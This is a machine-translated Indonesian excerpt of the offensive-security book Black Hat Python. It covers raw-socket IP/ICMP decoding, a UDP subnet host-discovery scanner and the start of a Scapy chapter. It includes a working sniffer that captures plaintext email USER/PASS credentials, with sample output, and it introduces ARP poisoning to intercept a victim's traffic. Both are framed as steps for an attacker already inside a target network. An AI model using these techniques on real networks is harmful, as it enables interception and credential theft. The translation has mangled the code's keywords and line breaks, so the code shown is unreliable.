Pada dasarnya, kode Python memanipulasi byte sebagai berikut:

0 1 0 1 0 1 1 0
DAN 0 0 0 0 1 1 1 1
-----------------------------
0 0 0 0 0 1 1 0

Anda tidak perlu tahu banyak tentang manipulasi biner untuk memecahkan kode
header IP, namun Anda akan melihat pola tertentu, seperti penggunaan shift dan AND
berulang kali saat Anda menjelajahi kode peretas lain, jadi ada baiknya memahami
teknik tersebut.
Dalam kasus seperti ini yang memerlukan sedikit perubahan, mendekode data
biner memerlukan upaya. Namun untuk banyak kasus (seperti membaca pesan ICMP),
pengaturannya sangat mudah: setiap bagian dari pesan ICMP adalah kelipatan 8 bit,
dan karakter format yang disediakan oleh modul struct adalah kelipatan 8 bit, jadi tidak ada
perlu membagi satu byte menjadi nybble terpisah. Pada pesan Echo Reply ICMP yang
ditunjukkan pada Gambar 3-2, Anda dapat melihat bahwa setiap parameter header ICMP
dapat didefinisikan dalam sebuah struct dengan salah satu huruf format yang ada
(BBHHH).

0 4 8 12 16 20 24 28 32

Jenis Kode Jumlah pemeriksaan

Pengidentifikasi Nomor urut

Data opsional

Gambar 3-2: Contoh pesan ICMP Echo Reply

42 Bab 3
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Cara cepat untuk menguraikan pesan ini adalah dengan menetapkan 1 byte ke dalamnya
dua atribut pertama dan 2 byte ke tiga atribut berikutnya:

kelas ICMP:
def __init__(self, buff): header =
struct.unpack('<BBHHH', buff) self.type = header[0]
self.code = header[1] self.sum
= header[2] self. id = tajuk[3]
diri.seq = tajuk[4]

Baca dokumentasi struct di (https:// docs.python.org/ 3/ library/ struct .html) untuk detail
lengkap tentang penggunaan modul ini.
Anda dapat menggunakan modul ctypes atau modul struct untuk membaca dan
mengurai data biner. Apa pun pendekatan yang Anda ambil, Anda akan membuat instance kelas
seperti ini:

paket saya = IP(buff)


cetak(f'{mypacket.src_address} -> {mypacket.dst_address}')

Dalam contoh ini, Anda membuat instance kelas IP dengan data paket Anda di
penggemar variabel .

Menulis Decoder IP Mari kita

terapkan rutinitas decoding IP yang baru saja kita buat ke dalam file bernama
sniffer_ip_header_decode.py, seperti yang ditunjukkan di sini.

impor alamat ipad


impor os
impor soket
impor struct
impor sys

IP kelas 1:
def __init__(self, buff=None):
header = struct.unpack('<BBHHHBBH4s4s', buff)
self.ver = header[0] >> 4
self.ihl = header[0] & 0xF

self.tos = header[1]
self.len = header[2]
self.id = header[3]
self.offset = header[4]
self.ttl = header[5]
self.protocol_num = header[6]
diri. jumlah = header[7]
self.src = header[8]
self.dst = header[9]

Jaringan: Soket Mentah dan Sniffing 43


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
2 # alamat IP yang dapat dibaca manusia
self.src_address = ipaddress.ip_address(self.src) self.dst_address =
ipaddress.ip_address(self.dst)

# memetakan konstanta protokol ke namanya


self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} coba: self.protocol =

self.protocol_map[self.protocol_num] kecuali Pengecualian sebagai e: print ('%s


Tidak ada protokol untuk %s'
% (e, self.protocol_num)) self.protocol = str(self.protocol_num)

def sniff(host): # akan


terlihat familiar dari contoh sebelumnya if os.name == 'nt':
socket_protocol =
socket.IPPROTO_IP else: socket_protocol =

socket.IPPROTO_ICMP

sniffer = soket.socket(socket.AF_INET,
soket.SOCK_RAW, soket_protokol)
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, soket.IP_HDRINCL, 1)

if os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

coba:
selagi Benar: #
baca paket 3
raw_buffer = sniffer.recvfrom(65535)[0]
# membuat header IP dari 20 byte pertama 4 ip_header =
IP(raw_buffer[0:20])
# cetak protokol dan host yang terdeteksi 5 print('Protokol:
%s %s -> %s' % (ip_header.protocol, ip_header.src_address,
ip_header.dst_address))

kecuali Interupsi Keyboard:


# jika kita menggunakan Windows, matikan mode promiscuous jika
os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) sys.exit()

if __name__ == '__main__': if
len(sys.argv) == 2: host =
sys.argv[1] else: host =

'192.168.1.203' sniff(host)

Pada 1, kami menyertakan definisi kelas IP kami , yang mendefinisikan


struktur Python yang akan memetakan 20 byte pertama buffer yang diterima ke
dalam header IP yang ramah. Seperti yang Anda lihat, semua bidang yang kami identifikasi

44 Bab 3
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

cocok dengan struktur header. Kami melakukan beberapa pekerjaan rumah tangga untuk
menghasilkan beberapa keluaran yang dapat dibaca manusia yang menunjukkan protokol
yang digunakan dan alamat IP yang terlibat dalam koneksi 2. Dengan struktur IP baru kami ,
kami sekarang menulis logika untuk terus membaca paket dan menguraikan informasinya. Kami
membaca paket 3 dan kemudian meneruskan 20 byte pertama 4 untuk menginisialisasi struktur
IP kami. Selanjutnya kita tinggal mencetak informasi yang sudah kita tangkap 5. Mari kita coba.

Menendang Ban
Mari kita uji kode sebelumnya untuk melihat jenis informasi apa yang kita ekstrak dari paket
mentah yang dikirim. Kami sangat menyarankan Anda melakukan tes ini dari mesin Windows
Anda, karena Anda akan dapat melihat TCP, UDP, dan ICMP, yang memungkinkan Anda
melakukan beberapa pengujian yang cukup rapi (misalnya membuka browser). Jika Anda terbatas
pada Linux, lakukan tes ping sebelumnya untuk melihatnya beraksi.

Buka terminal dan ketik yang berikut ini:

python sniffer_ip_header_decode.py

Sekarang, karena Windows cukup cerewet, Anda mungkin akan segera melihat
hasilnya. Penulis menguji skrip ini dengan membuka Internet Explorer dan membuka
www.google.com, dan inilah output dari skrip kami:

Protokol: UDP 192.168.0.190 -> 192.168.0.1


Protokol: UDP 192.168.0.1 -> 192.168.0.190
Protokol: UDP 192.168.0.190 -> 192.168.0.187
Protokol: TCP 192.168.0.187 -> 74.125.225.183
Protokol: TCP 192.168.0.187 -> 74.125.225.183
Protokol: TCP 74.125.225.183 -> 192.168.0.187
Protokol: TCP 192.168.0.187 -> 74.125.225.183

Karena kami tidak melakukan pemeriksaan mendalam terhadap paket-paket ini, kami hanya
dapat menebak apa yang ditunjukkan oleh aliran ini. Dugaan kami adalah bahwa beberapa paket
UDP pertama adalah kueri Sistem Nama Domain (DNS) untuk menentukan di mana google.com
berada, dan sesi TCP berikutnya adalah mesin kami yang benar-benar menghubungkan dan
mengunduh konten dari server web mereka.
Untuk melakukan tes yang sama di Linux, kita dapat melakukan ping ke google.com, dan
hasilnya akan terlihat seperti ini:

Protokol: ICMP 74.125.226.78 -> 192.168.0.190


Protokol: ICMP 74.125.226.78 -> 192.168.0.190
Protokol: ICMP 74.125.226.78 -> 192.168.0.190

Anda sudah bisa melihat batasannya: kami hanya melihat responnya dan hanya untuk
protokol ICMP. Namun karena kami sengaja membuat pemindai penemuan host, hal ini sepenuhnya
dapat diterima. Kami sekarang akan menerapkan teknik yang sama yang kami gunakan untuk
memecahkan kode header IP untuk memecahkan kode pesan ICMP.

Jaringan: Soket Mentah dan Sniffing 45


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Menguraikan ICMP
Sekarang kita dapat sepenuhnya mendekode lapisan IP dari setiap paket yang
diendus, kita harus mampu mendekode respons ICMP yang akan diperoleh pemindai
dari pengiriman datagram UDP ke port tertutup. Isi pesan ICMP bisa sangat
bervariasi, namun setiap pesan berisi tiga elemen yang tetap konsisten: bidang
jenis, kode, dan checksum. Bidang tipe dan kode memberi tahu host penerima jenis
pesan ICMP apa yang datang, yang kemudian menentukan cara mendekode pesan
tersebut dengan benar.
Untuk tujuan pemindai kami, kami mencari nilai tipe 3 dan nilai kode 3. Ini sesuai
dengan kelas pesan ICMP Destination Unreachable , dan nilai kode 3 menunjukkan
bahwa Port Unreachable
kesalahan telah terjadi. Lihat Gambar 3-3 untuk diagram pesan ICMP Destination
Unreachable .

Pesan Tujuan Tidak Terjangkau

0–7 8–15 16–31

Tipe = 3 Kode Pemeriksaan Tajuk

Tidak digunakan
MTU lompatan berikutnya

IP Header dan 8 Byte Pertama Data Datagram Asli

Gambar 3-3: Diagram pesan ICMP Destination Unreachable

Seperti yang Anda lihat, 8 bit pertama adalah tipenya dan 8 bit kedua berisi
kode ICMP kita. Satu hal yang menarik untuk diperhatikan adalah ketika sebuah
host mengirimkan salah satu pesan ICMP ini, pesan tersebut sebenarnya
menyertakan header IP dari pesan asal yang menghasilkan respons. Kita juga dapat
melihat bahwa kita akan memeriksa ulang terhadap 8 byte datagram asli yang dikirim
untuk memastikan pemindai kita menghasilkan respons ICMP. Untuk melakukannya,
kami cukup memotong 8 byte terakhir dari buffer yang diterima untuk mengeluarkan
string ajaib yang dikirimkan pemindai kami.
Mari tambahkan beberapa kode lagi ke sniffer kita sebelumnya untuk menyertakan
kemampuan memecahkan kode paket ICMP. Mari simpan file kita sebelumnya sebagai sniffer_with_icmp.py
dan tambahkan kode berikut:

impor alamat IP
impor mereka
soket impor
impor struktur
sistem impor

IP kelas:
--menggunting--

ICMP kelas 1:
def __init__(diri sendiri, penggemar):

46 Bab 3
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

header = struct.unpack('<BBHHH', buff)


mandiri.type = tajuk[0]
mandiri.kode = tajuk[1]
mandiri.sum = tajuk[2]
diri.id = tajuk[3]
diri.seq = tajuk[4]

def mengendus(tuan rumah):

--menggunting--

ip_header = IP(buffer_mentah[0:20])
#kalau itu ICMP, kami menginginkannya
2 jika ip_header.protocol == "ICMP":
print('Protokol: %s %s -> %s' % (ip_header.protocol,
ip_header.src_address, ip_header.dst_address))
print(f'Versi: {ip_header.ver}')
print(f'Panjang Header: {ip_header.ihl} TTL: {ip_header.ttl}')

# hitung dimana paket ICMP kita dimulai


3 offset = ip_header.ihl * buf = 4
raw_buffer[offset:offset + 8]
# buat struktur ICMP kami
4 icmp_header = ICMP(buf)
print('ICMP -> Ketik: %s Kode: %s\n' %
(icmp_header.type, icmp_header.code))

kecuali Interupsi Keyboard:


jika os.nama == 'nt':
sniffer.ioctl(soket.SIO_RCVALL, soket.RCVALL_OFF)
sys.keluar()

jika __nama__ == '__utama__':


jika len(sys.argv) == 2:
tuan rumah = sys.argv[1]
kalau tidak:

tuan rumah = '192.168.1.203'


mengendus (tuan rumah)

Potongan kode sederhana ini membuat struktur ICMP 1 di bawah struktur IP yang ada . Ketika
loop penerima paket utama menentukan bahwa kita telah menerima paket ICMP 2, kita menghitung
offset dalam paket mentah tempat badan ICMP berada 3 dan kemudian membuat buffer 4 dan
mencetak bidang jenis dan kode . Perhitungan panjangnya didasarkan pada bidang ihl header IP ,
yang menunjukkan jumlah kata 32-bit (potongan 4-byte) yang terdapat dalam header IP. Jadi dengan
mengalikan bidang ini dengan 4, kita mengetahui ukuran header IP dan kapan lapisan jaringan
berikutnya (dalam hal ini ICMP) dimulai.

Jika kita dengan cepat menjalankan kode ini dengan tes ping biasa, output kita seharusnya
sekarang menjadi sedikit berbeda:

Protokol: ICMP 74.125.226.78 -> 192.168.0.190


ICMP -> Ketik: 0 Kode: 0

Jaringan: Soket Mentah dan Sniffing 47


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Hal ini menunjukkan bahwa respon ping (ICMP Echo) benar


diterima dan diterjemahkan. Kami sekarang siap untuk mengimplementasikan logika terakhir
untuk mengirimkan datagram UDP dan menafsirkan hasilnya.
Sekarang mari kita tambahkan penggunaan modul ipdress sehingga kita dapat
mencakup seluruh subnet dengan pemindaian penemuan host kita. Simpan skrip
sniffer_with_icmp.py Anda sebagai scanner.py dan tambahkan kode berikut:

impor alamat ipad


impor os
impor soket impor
struct impor sys
impor
threading waktu impor

# subnet ke target
SUBNET = '192.168.1.0/24' # string
ajaib kita akan memeriksa tanggapan ICMP untuk MESSAGE =
'PYTHONRULES!' 1

IP kelas:
--menggunting--

kelas ICMP: --
snip--

# ini menyemprotkan datagram UDP dengan pesan ajaib kami def


udp_sender(): 2 dengan
socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sebagai pengirim: untuk ip di
ipaddress.ip_network(SUBNET).hosts(): sender.sendto( byte(PESAN,
'utf8'), (str(ip), 65212))

Pemindai kelas: 3
def __init__(self, host): self.host =
host if os.name == 'nt':
socket_protocol =
socket.IPPROTO_IP else: socket_protocol =

socket.IPPROTO_ICMP

self.socket = soket.socket(socket.AF_INET, soket.SOCK_RAW,


socket_protocol)
mandiri.socket.bind((host, 0))

self.socket.setsockopt(socket.IPPROTO_IP, soket.IP_HDRINCL, 1)

jika os.nama == 'nt':


self.socket.ioctl(soket.SIO_RCVALL, soket.RCVALL_ON)

def sniff(self): 4 host_up =


set([f'{str(self.host)} *']) coba: while True:

# membaca paket

48 Bab 3
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

raw_buffer = self.socket.recvfrom(65535)[0] # membuat


header IP dari 20 byte pertama ip_header = IP(raw_buffer[0:20])
# jika itu ICMP, kita menginginkannya jika
ip_header.protocol == "ICMP ": offset
= ip_header.ihl * buf = raw_buffer[offset:offset
+ 8] icmp_header = ICMP(buf) # 4
periksa TIPE 3 dan KODE jika icmp_header.code
== 3 dan icmp_header.type == 3:

jika ipaddress.ip_address(ip_header.src_address) di 5
ipaddress.IPv4Network(SUBNET):

# pastikan ada pesan ajaibnya if


raw_buffer[len(raw_buffer) - len(MESSAGE):] == 6 bytes(MESSAGE, 'utf8'):
tgt = str(ip_header.src_address)
if tgt != self.host dan tgt tidak ada di host_up:
host_up.add(str(ip_header.src_address)) print(f'Host Naik:
{tgt}') 7

# menangani CTRL-C
kecuali KeyboardInterrupt: 8 if os.name
== 'nt':
self.socket.ioctl(soket.SIO_RCVALL, soket.RCVALL_OFF)

print('\nPengguna terputus.') jika


host_up:
print(f'\n\nRingkasan: Host di {SUBNET}') untuk host yang
diurutkan(hosts_up): print(f'{host}') print('' )
sys.keluar()

if __name__ == '__main__': if
len(sys.argv) == 2: host =
sys.argv[1] else: host =

'192.168.1.203' s = Pemindai(host)
time.sleep(5) t =

threading.Benang(target=udp_sender) 9 t.start() s.sniff()

Potongan kode terakhir ini seharusnya cukup mudah untuk dipahami. Kami mendefinisikan
tanda tangan string sederhana 1 sehingga kami dapat menguji apakah responsnya berasal dari
paket UDP yang kami kirimkan aslinya. Fungsi udp_sender 2 kita hanya mengambil subnet yang
kita tentukan di bagian atas skrip kita, mengulangi semua alamat IP di subnet itu, dan
menembakkan datagram UDP ke subnet tersebut.
Kami kemudian mendefinisikan kelas Pemindai 3. Untuk menginisialisasinya, kami
meneruskannya ke host sebagai argumen. Saat inisialisasi, kami membuat soket, mengaktifkan
mode promiscuous jika menjalankan Windows, dan menjadikan soket sebagai atribut kelas Pemindai .

Jaringan: Soket Mentah dan Sniffing 49


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Metode sniff 4 mengendus jaringan, mengikuti langkah yang sama seperti pada contoh
sebelumnya, hanya saja kali ini metode ini menyimpan catatan host mana yang aktif. Jika kami
mendeteksi pesan ICMP yang diantisipasi, pertama-tama kami memeriksa untuk memastikan
bahwa respons ICMP berasal dari subnet 5 target kami.
Kami kemudian melakukan pemeriksaan terakhir untuk memastikan bahwa respons ICMP
memiliki string ajaib kami di dalamnya 6. Jika semua pemeriksaan ini berhasil, kami mencetak
alamat IP host tempat pesan ICMP berasal 7. Saat kami mengakhiri proses sniffing dengan
menggunakan CTRL-C, kita menangani interupsi keyboard 8.
Artinya, kami mematikan mode promiscuous jika di Windows dan mencetak daftar host langsung
yang diurutkan.
Blok __main__ melakukan pekerjaan pengaturan: ia menciptakan objek Scanner , tidur
hanya beberapa detik, dan kemudian, sebelum memanggil sniff
metode, memunculkan udp_sender di thread terpisah 9 untuk memastikan bahwa kami tidak
mengganggu kemampuan kami untuk mengendus respons. Mari kita mencobanya.

Menendang Ban
Sekarang mari kita ambil pemindai kita dan menjalankannya di jaringan lokal. Anda dapat
menggunakan Linux atau Windows untuk ini, karena hasilnya akan sama. Dalam kasus penulis,
alamat IP mesin lokal tempat kami berada adalah 192.168.0.187, jadi kami menyetel pemindai
kami agar mencapai 192.168.0.0/24. Jika keluarannya terlalu berisik saat Anda menjalankan
pemindai, cukup beri komentar pada semua pernyataan cetak kecuali pernyataan terakhir yang
memberi tahu Anda apa yang ditanggapi oleh host.

MODUL IPADDRESS

Pemindai kami akan menggunakan perpustakaan yang disebut alamat ip, yang memungkinkan
kami memasukkan subnet mask seperti 192.168.0.0/24 dan meminta pemindai kami
menanganinya dengan tepat.
Modul alamat ip membuat bekerja dengan subnet dan pengalamatan menjadi sangat
mudah. Misalnya, Anda dapat menjalankan tes sederhana seperti berikut ini menggunakan objek
Ipv4Network :

ip_address = "192.168.112.3"

jika ip_address di Ipv4Network("192.168.112.0/24"):


cetak Benar

Atau Anda dapat membuat iterator sederhana jika Anda ingin mengirim paket ke seluruh
jaringan:

untuk ip di Ipv4Network("192.168.112.1/24"):
s = soket.soket()
s.koneksi((ip, 25))
# kirim paket email

50 Bab 3
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Ini akan sangat menyederhanakan kehidupan pemrograman Anda ketika berhadapan dengan keseluruhan

jaringan pada satu waktu, dan ini cocok untuk alat penemuan host kami:

pemindai python.exe.py
Tuan Rumah: 192.168.0.1
Tuan Rumah: 192.168.0.190
Tuan Rumah: 192.168.0.192
Tuan Rumah: 192.168.0.195

Untuk scan cepat seperti yang kami lakukan, hanya butuh beberapa detik untuk mendapatkan
hasilnya. Dengan melakukan referensi silang alamat IP ini dengan tabel DHCP di router rumah,
kami dapat memverifikasi bahwa hasilnya akurat.
Anda dapat dengan mudah memperluas apa yang telah Anda pelajari dalam bab ini untuk
memecahkan kode paket TCP dan UDP serta membangun peralatan tambahan di sekitar pemindai.
Pemindai ini juga berguna untuk kerangka trojan yang akan kita mulai buat di Bab 7. Hal ini akan
memungkinkan trojan yang dikerahkan untuk memindai jaringan lokal untuk mencari target tambahan.

Sekarang Anda telah mengetahui dasar-dasar cara kerja jaringan pada tingkat tinggi dan rendah
level, mari jelajahi pustaka Python yang sangat matang bernama Scapy.

Jaringan: Soket Mentah dan Sniffing 51


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

4
MEMILIKI JARINGAN
DENGAN SCAPY

Kadang-kadang, Anda menemukan perpustakaan


Python yang dipikirkan dengan matang dan luar biasa
sehingga bahkan mendedikasikan satu bab penuh untuk
itu tidak akan cukup. Philippe Biondi telah menciptakan seperti itu
perpustakaan di perpustakaan manipulasi paket Scapy.
Anda mungkin baru saja menyelesaikan bab ini dan menyadari bahwa kami telah

memaksa Anda melakukan banyak pekerjaan di dua bab sebelumnya untuk

mencapai apa yang dapat Anda lakukan hanya dengan satu atau dua baris

Scapy. Scapy sangat kuat dan fleksibel, dan kemungkinannya hampir tidak
terbatas. Kita akan mengetahuinya dengan mengendus lalu lintas untuk mencuri
kredensial email teks biasa dan kemudian ARP meracuni mesin target di jaringan
sehingga kita dapat mengendus lalu lintasnya. Kami akan menyelesaikan semuanya
dengan memperluas pemrosesan PCAP Scapy untuk mengukir gambar dari lalu
lintas HTTP dan kemudian melakukan deteksi wajah pada gambar tersebut
untuk menentukan apakah ada manusia di dalam gambar.
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Kami menyarankan Anda menggunakan Scapy pada sistem Linux, karena Scapy
dirancang untuk bekerja dengan mempertimbangkan Linux. Versi terbaru Scapy
mendukung Windows,1 tetapi untuk tujuan bab ini kami berasumsi Anda menggunakan
mesin virtual (VM) Kali dengan instalasi Scapy yang berfungsi penuh. Jika Anda tidak
memiliki Scapy, kunjungi https:// scapy.net/
untuk menginstalnya.

Sekarang, misalkan Anda telah menyusup ke jaringan area lokal (LAN) target.
Anda dapat mengendus lalu lintas di jaringan lokal dengan teknik yang akan Anda
pelajari di bab ini.

Mencuri Kredensial Email


Anda telah menghabiskan beberapa waktu untuk mempelajari seluk-beluk mengendus dengan
Python. Mari mengenal antarmuka Scapy untuk mengendus paket dan membedah isinya. Kami
akan membuat sniffer yang sangat sederhana untuk menangkap kredensial Simple Mail Transport
Protocol (SMTP), Post Office Protocol (POP3), dan Internet Message Access Protocol (IMAP).
Kemudian, dengan menggabungkan sniffer dengan serangan man-in-the-middle (MITM) yang
meracuni Address Resolusi Protocol (ARP), kita dapat dengan mudah mencuri kredensial dari mesin
lain di jaringan. Teknik ini tentu saja dapat diterapkan pada protokol apa pun, atau sekadar menyedot
semua lalu lintas dan menyimpannya dalam file pcap untuk dianalisis, yang juga akan kami
tunjukkan.

Untuk mengenal Scapy, mari kita mulai dengan membuat skeleton sniffer yang
cukup membedah dan membuang paket-paket tersebut. Fungsi sniff yang dinamai dengan
tepat terlihat seperti berikut:

sniff(filter="",iface="any",prn=fungsi,hitung=N)

Parameter filter memungkinkan kita menentukan Berkeley Packet Filter (BPF)


filter ke paket yang diendus Scapy, yang dapat dikosongkan untuk mengendus semua
paket. Misalnya, untuk mengendus semua paket HTTP, Anda akan menggunakan filter
BPF pada port tcp 80. Parameter iface memberi tahu sniffer antarmuka jaringan mana
yang akan diendus; jika dibiarkan kosong, Scapy akan mengendus semua antarmuka. prn
parameter menentukan fungsi panggilan balik yang akan dipanggil untuk setiap paket yang
cocok dengan filter, dan fungsi panggilan balik menerima objek paket sebagai parameter
tunggalnya. Parameter count menentukan berapa banyak paket yang ingin Anda hirup;
jika dibiarkan kosong, Scapy akan mengendus tanpa batas waktu.
Mari kita mulai dengan membuat sniffer sederhana yang mengendus sebuah paket dan
membuang isinya. Kami kemudian akan memperluasnya menjadi hanya mengendus perintah
terkait email. Buka mail_sniffer.py dan masukkan kode berikut:

dari scapy.all impor mengendus

1 def packet_callback(paket):
cetak(paket.tampilkan())

1. https:// scapy.readthedocs.io/ en/ latest/ installation.html#platform-special-instructions=

54 Bab 4
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

def utama():
2 mengendus(prn=packet_callback, hitungan=1)

jika __nama__ == '__utama__':


utama()

Kita mulai dengan mendefinisikan fungsi panggilan balik yang akan menerima setiap
paket sniffed 1 dan kemudian memberitahu Scapy untuk mulai mengendus 2 pada semua
antarmuka tanpa pemfilteran. Sekarang mari kita jalankan skripnya, dan Anda akan melihat
keluaran seperti berikut:

$ (bhp) tim@kali:~/bhp/bhp$ sudo python mail_sniffer.py


###[Ethernet ]###
dst = 42:26:19:1a:31:64
src = 00:0c:29:39:46:7e
jenis = IPv6
###[ IPv6 ]###
versi = 6
tc =0
fl = 661536
tolong = 51
= UDP
dan senang = 255
src = fe80::20c:29ff:fe39:467e
dst = fe80::1079:9d3f:d4a8:defb
###[ UDP ]###
= 42638
= domain
= 51
olahraga dport=len
0xcf66
chksum
###[ DNS ]###
pengenal = 22299
=0
kode operasi qr = PERMINTAAN

aa =0
tc =0
rd =1
hari =0
Dengan =0
=0
=0
kode cd iklan = oke
qdhitung = 1
jumlah = 0
nhitung = 0
jumlah = 0
\qd \
|###[ Catatan Pertanyaan DNS ]###
| nama q | = 'vortex.data.microsoft.com.'
tipe q | = SEBUAH

= DALAM
kelas q
sebuah = Tidak ada

ns = Tidak ada

Dengan = Tidak ada

Memiliki Jaringan dengan Scapy 55


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Betapa mudahnya hal itu! Kita bisa melihatnya ketika paket pertama itu
diterima di jaringan, fungsi panggilan balik menggunakan fungsi bawaan packet.show()
untuk menampilkan isi paket dan membedah beberapa informasi protokol. Menggunakan
show() adalah cara terbaik untuk men-debug skrip seiring berjalannya waktu untuk
memastikan Anda mendapatkan keluaran yang Anda inginkan.
Sekarang setelah kita menjalankan sniffer dasar, mari terapkan filter dan tambahkan
beberapa logika ke fungsi panggilan balik untuk menghilangkan string autentikasi terkait
email.
Pada contoh berikut kita akan menggunakan filter paket sehingga sniffer hanya
menampilkan paket yang kita minati. Kita akan menggunakan sintaks BPF, juga
disebut gaya Wireshark, untuk melakukannya. Anda akan menemukan sintaksis ini
dengan alat seperti tcpdump, serta filter pengambilan paket yang digunakan dengan Wireshark.
Mari kita bahas sintaks dasar filter BPF. Ada tiga jenis informasi yang dapat Anda
gunakan dalam filter Anda. Anda dapat menentukan deskriptor (seperti host, antarmuka,
atau port tertentu), arah arus lalu lintas, dan protokol, seperti yang ditunjukkan pada
Tabel 4-1. Anda dapat memasukkan atau menghilangkan jenis, arah, dan protokol,
tergantung pada apa yang ingin Anda lihat dalam paket yang diendus.

Tabel 4-1: Sintaks Filter BPF

Deskripsi Ekspresi Contoh kata kunci filter


Deskripsi Apa yang Anda cari tuan rumah, bersih, port

Arah Arah perjalanan src, dst, src atau dst


Protokol Protokol yang digunakan untuk mengirim lalu lintas ip, ip6, tcp, udp

Misalnya, ekspresi src 192.168.1.100 menentukan filter yang hanya menangkap


paket yang berasal dari mesin 192.168.1.100. Filter sebaliknya adalah dst 192.168.1.100,
yang hanya menangkap paket dengan tujuan 192.168.1.100. Demikian pula, ekspresi
tcp port 110 atau tcp port 25 menentukan filter yang hanya akan meneruskan paket TCP
yang datang dari atau menuju port 110 atau 25. Sekarang mari kita tulis sniffer spesifik
menggunakan sintaks BPF dalam contoh kita:

dari scamy.all impor sniff, TCP, IP

# panggilan balik paket


def packet_callback(paket):
1 jika paket[TCP].payload:
paket saya = str(paket[TCP].payload)
2 jika 'pengguna' di mypacket.lower() atau 'lulus' di mypacket.lower():
print(f"[*] Tujuan: {paket[IP].dst}")
3 cetak(f"[*] {str(paket[TCP].payload)}")

def utama():
# jalankan sniffernya
4 sniff(filter='tcp port 110 atau tcp port 25 atau tcp port 143',
prn=packet_callback, toko=0)

jika __nama__ == '__utama__':


utama()

56 Bab 4
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Hal-hal yang cukup mudah di sini. Kami mengubah fungsi sniff menjadi menambahkan
filter BPF yang hanya mencakup lalu lintas yang ditujukan untuk port email umum 110 (POP3),
143 (IMAP), dan 25 (SMTP) 4. Kami juga menggunakan parameter baru yang disebut store,
yang jika disetel ke 0, memastikan bahwa Scapy tidak tidak menyimpan paket di memori.
Sebaiknya gunakan parameter ini jika Anda ingin membiarkan sniffer jangka panjang tetap
berjalan, karena Anda tidak akan menghabiskan banyak RAM. Saat fungsi panggilan balik
dipanggil, kami memeriksa untuk memastikan bahwa ia memiliki muatan data 1 dan apakah
muatan tersebut berisi perintah email USER atau PASS 2. Jika kami mendeteksi string
autentikasi, kami mencetak server tujuan pengirimannya dan byte data sebenarnya dari paket 3.

Menendang Ban
Berikut adalah beberapa contoh keluaran dari akun email tiruan yang penulis coba
sambungkan ke klien email:

(bhp) root@kali:/home/tim/bhp/bhp# python mail_sniffer.py


[*] Tujuan: 192.168.1.207
[*] b'Waktu PENGGUNA\n'
[*] Tujuan: 192.168.1.207
[*] b'LULUS 1234567\n'

Anda dapat melihat bahwa klien email kami mencoba masuk ke server di 192.168.1.207
dan mengirimkan kredensial teks biasa melalui kabel. Ini adalah contoh yang sangat sederhana
tentang bagaimana Anda dapat mengambil skrip sniffing Scapy dan mengubahnya menjadi alat
yang berguna selama tes penetrasi. Skrip ini berfungsi untuk lalu lintas email karena kami
merancang filter BPF untuk fokus pada port terkait email. Anda dapat mengubah filter itu untuk
memantau lalu lintas lainnya; misalnya, ubah ke tcp port 21 untuk memperhatikan koneksi dan
kredensial FTP.
Mengendus lalu lintas Anda sendiri mungkin menyenangkan, tetapi lebih baik
mengendusnya bersama teman; mari kita lihat bagaimana Anda dapat melakukan serangan
keracunan ARP untuk mengendus lalu lintas mesin target di jaringan yang sama.

Keracunan Cache ARP dengan Scapy


Keracunan ARP adalah salah satu trik tertua namun paling efektif dalam perangkat peretas.
Sederhananya, kita akan meyakinkan mesin target bahwa kita telah menjadi gateway-nya,
dan kita juga akan meyakinkan gateway bahwa untuk mencapai mesin target, semua lalu lintas
harus melalui kita. Setiap komputer di jaringan memiliki cache ARP yang menyimpan alamat
MAC (kontrol akses media) terbaru yang cocok dengan alamat IP di jaringan lokal. Kami akan
meracuni cache ini dengan entri yang kami kendalikan untuk mencapai serangan ini. Karena
Protokol Resolusi Alamat, dan keracunan ARP secara umum, tercakup dalam banyak materi
lainnya, kami menyerahkan kepada Anda untuk melakukan penelitian yang diperlukan untuk
memahami bagaimana serangan ini bekerja pada tingkat yang lebih rendah.

Sekarang kita tahu apa yang perlu kita lakukan, mari kita praktikkan. Saat penulis
mengujinya, kami menyerang mesin Mac asli dari Kali VM.
Kami juga telah menguji kode ini pada berbagai perangkat seluler yang terhubung ke titik
akses nirkabel, dan hasilnya berfungsi dengan baik. Hal pertama yang akan kita lakukan adalah

Memiliki Jaringan dengan Scapy 57


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

periksa cache ARP pada mesin Mac target sehingga kita dapat melihat serangan tersebut beraksi di
kemudian hari. Periksa hal berikut untuk mengetahui cara memeriksa cache ARP di Mac Anda:

MacBook-Pro:~ korban$ ifconfig en0


en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
eter 38:f9:d3:63:5c:48
inet6 fe80::4bc:91d7:29ee:51d8%en0 awalanlen 64 scopeid aman 0x6
